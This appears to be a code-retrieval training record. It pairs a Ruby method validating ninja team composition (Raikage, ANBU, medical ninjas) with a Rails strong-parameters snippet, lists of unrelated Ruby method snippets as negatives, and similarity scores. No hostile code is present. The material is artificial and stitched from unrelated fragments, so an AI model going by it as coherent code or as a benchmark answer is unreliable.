[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def setup\n # override this if needed\n end", "def matt_custom_action_begin(label); end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def lookup_action; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def around_hooks; end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def action_target()\n \n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def call\n setup_context\n super\n end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end" ]
[ "0.6163443", "0.604317", "0.5943409", "0.59143174", "0.5887026", "0.58335453", "0.57738566", "0.5701527", "0.5701527", "0.56534666", "0.5618685", "0.54237175", "0.5407991", "0.5407991", "0.5407991", "0.5394463", "0.5376582", "0.5355932", "0.53376216", "0.5337122", "0.5329516", "0.5311442", "0.52963835", "0.52955836", "0.5295297", "0.5258503", "0.52442217", "0.5235414", "0.5235414", "0.5235414", "0.5235414", "0.5235414", "0.5234908", "0.5230927", "0.52263695", "0.5222485", "0.5216462", "0.52128595", "0.52070963", "0.520529", "0.517586", "0.5174021", "0.5172379", "0.5165636", "0.5161574", "0.51556087", "0.5153217", "0.5152898", "0.5151238", "0.5144674", "0.51387095", "0.51342636", "0.5113545", "0.51131564", "0.51131564", "0.5107665", "0.5107052", "0.50908124", "0.5089785", "0.50814754", "0.50807786", "0.5064482", "0.5053022", "0.50526255", "0.5050246", "0.5050246", "0.50329554", "0.5023997", "0.5021236", "0.5014815", "0.5014393", "0.4999298", "0.49990913", "0.4997733", "0.49884573", "0.49884573", "0.49840933", "0.49786162", "0.49784446", "0.49782816", "0.49659815", "0.49655175", "0.4956222", "0.49543875", "0.49536037", "0.495265", "0.4951427", "0.49438462", "0.49436793", "0.49335384", "0.49321616", "0.49264926", "0.49247074", "0.49246994", "0.49226475", "0.49194494", "0.49152806", "0.49149707", "0.49149227", "0.49144953", "0.49141943" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def equipe_params params.require(:equipe).permit(:nomeEq, :mb_1_id, :mb_2_id, :mb_3_id, :mb_S_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Valida a equipe quanto a sua composicao
def validar_equipe(equipe) equipe_valida = true if is_raikage_membro(equipe) equipe_valida = false flash[:warning] = "O Raikage não pode estar em uma equipe." elsif !is_anbu_equipe(equipe) equipe_valida = false flash[:warning] = "Os ninjas ANBU só podem estar em uma equipe em que todos os membros são ANBU" elsif is_medico_membro(equipe) unless is_medico_equipe(equipe) equipe_valida = false flash[:warning] = "Os ninjas médicos devem estar em uma equipe formada por 3 ninjas médicos, sendo um deles o superior, e 1 ninja chuunin ou jounin." end end equipe_valida end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def validar(orden_abono_excedente_arrime, fecha_registro_cheque, numero_cheque)\n logger.debug \"ENTRE A LA VALIDACION EN MI MODELOS ---- \" << orden_abono_excedente_arrime.inspect.to_s\n logger.debug \"ENTRE A LA VALIDACION EN MI MODELOS ---- \" << orden_abono_excedente_arrime_id.inspect.to_s\n \n logger.debug \"Parametros ---- \" << fecha_registro_cheque.to_s << \" - \" << numero_cheque.to_s\n \n msj = \"\"\n\n orden_abono_excedente_arrime = OrdenAbonoExcedenteArrime.find(orden_abono_excedente_arrime_id)\n solicitud = Solicitud.find(orden_abono_excedente_arrime.solicitud_id)\n\n logger.debug \"cheque ---- \" << numero_cheque.to_s\n logger.debug \"fecha ---- \" << fecha_registro_cheque.to_s\n if numero_cheque.to_s==''\n msj << I18n.t('Sistema.Body.Modelos.ViewExcedenteArrime.Errores.numero_cheque_obligatorio',:numero=>solicitud.numero) \n end\n\n if fecha_registro_cheque.to_s==''\n msj << I18n.t('Sistema.Body.Modelos.ViewExcedenteArrime.Errores.fecha_registro_invalida',:numero=>solicitud.numero)\n end\n\n if msj.length > 0\n return msj\n else\n return ''\n end\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n allowed_values = [\"CENTRALIZADO\", \"PV\"]\n if @tipo_pagamento && !allowed_values.include?(@tipo_pagamento)\n return false\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validate_cuit\n errors[:base] << \"El CUIT no es válido\" if not validar_cuit(self.cuit)\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @total_servicos.nil?\n return false\n end\n\n \n \n \n \n \n if @total_parcelado_nacionais.nil?\n return false\n end\n\n \n \n \n \n \n if @total_parcelado_internacionais.nil?\n return false\n end\n\n \n \n \n \n end", "def valid; end", "def validade_field_boleto\n puts field_number_boleto.text\n if field_number_boleto.include?('03399')\n puts \"Boleto OK\"\n else\n puts \"Boleto invalid\"\n end\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n return false if @id.nil?\n return false if @token.nil?\n return false if @tipo.nil?\n tipo_validator = EnumAttributeValidator.new('String', ['fatture', 'proforma', 'ordini', 'preventivi', 'ndc'])\n return false unless tipo_validator.valid?(@tipo)\n return false if @nome.nil?\n return false if @indirizzo_via.nil?\n return false if @indirizzo_cap.nil?\n return false if @indirizzo_citta.nil?\n return false if @indirizzo_provincia.nil?\n return false if @paese.nil?\n lingua_validator = EnumAttributeValidator.new('String', ['it', 'en', 'de'])\n return false unless lingua_validator.valid?(@lingua)\n return false if @piva.nil?\n return false if @cf.nil?\n return false if @numero.nil?\n return false if @valuta.nil?\n return false if @valuta_cambio.nil?\n return false if @prezzi_ivati.nil?\n return false if @importo_netto.nil?\n return false if @importo_iva.nil?\n return false if @importo_totale.nil?\n mostra_totali_validator = EnumAttributeValidator.new('String', ['tutti', 'netto', 'nessuno'])\n return false unless mostra_totali_validator.valid?(@mostra_totali)\n return false if @lista_articoli.nil?\n pa_tipo_cliente_validator = EnumAttributeValidator.new('String', ['PA', 'B2B'])\n return false unless pa_tipo_cliente_validator.valid?(@pa_tipo_cliente)\n pa_tipo_validator = EnumAttributeValidator.new('String', ['ordine', 'convenzione', 'contratto', 'nessuno'])\n return false unless pa_tipo_validator.valid?(@pa_tipo)\n pa_esigibilita_validator = EnumAttributeValidator.new('String', ['I', 'D', 'S', 'N'])\n return false unless pa_esigibilita_validator.valid?(@pa_esigibilita)\n true\n end", "def valid?(cc)\n\nend", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid_components?(new)\n\n self.clear_error_message\n \n # Make sure the part number contains the correct and legal characters.\n valid = self.valid_pcb_part_number?\n valid &= self.valid_pcba_part_number? if new\n if valid\n if self.unique_part_numbers_equal?\n valid = false\n self.set_error_message('The PCB part number (' + self.pcb_display_name +\n ') and the PCBA part number (' + \n self.pcba_display_name + ') must be unique - YOUR PART ' +\n 'NUMBER WAS NOT CREATED')\n end\n else\n self.set_error_message('The correct format for a part number is ' +\n '\"ddd-ddd-aa\" <br />' +\n ' Where: \"ddd\" is a 3 digit number and \"aa\"' +\n ' is 2 alpha-numeric characters.')\n end\n\n (valid && (new ? !self.exists?(false) : !self.pcb_pn_exists?(false)))\n \n 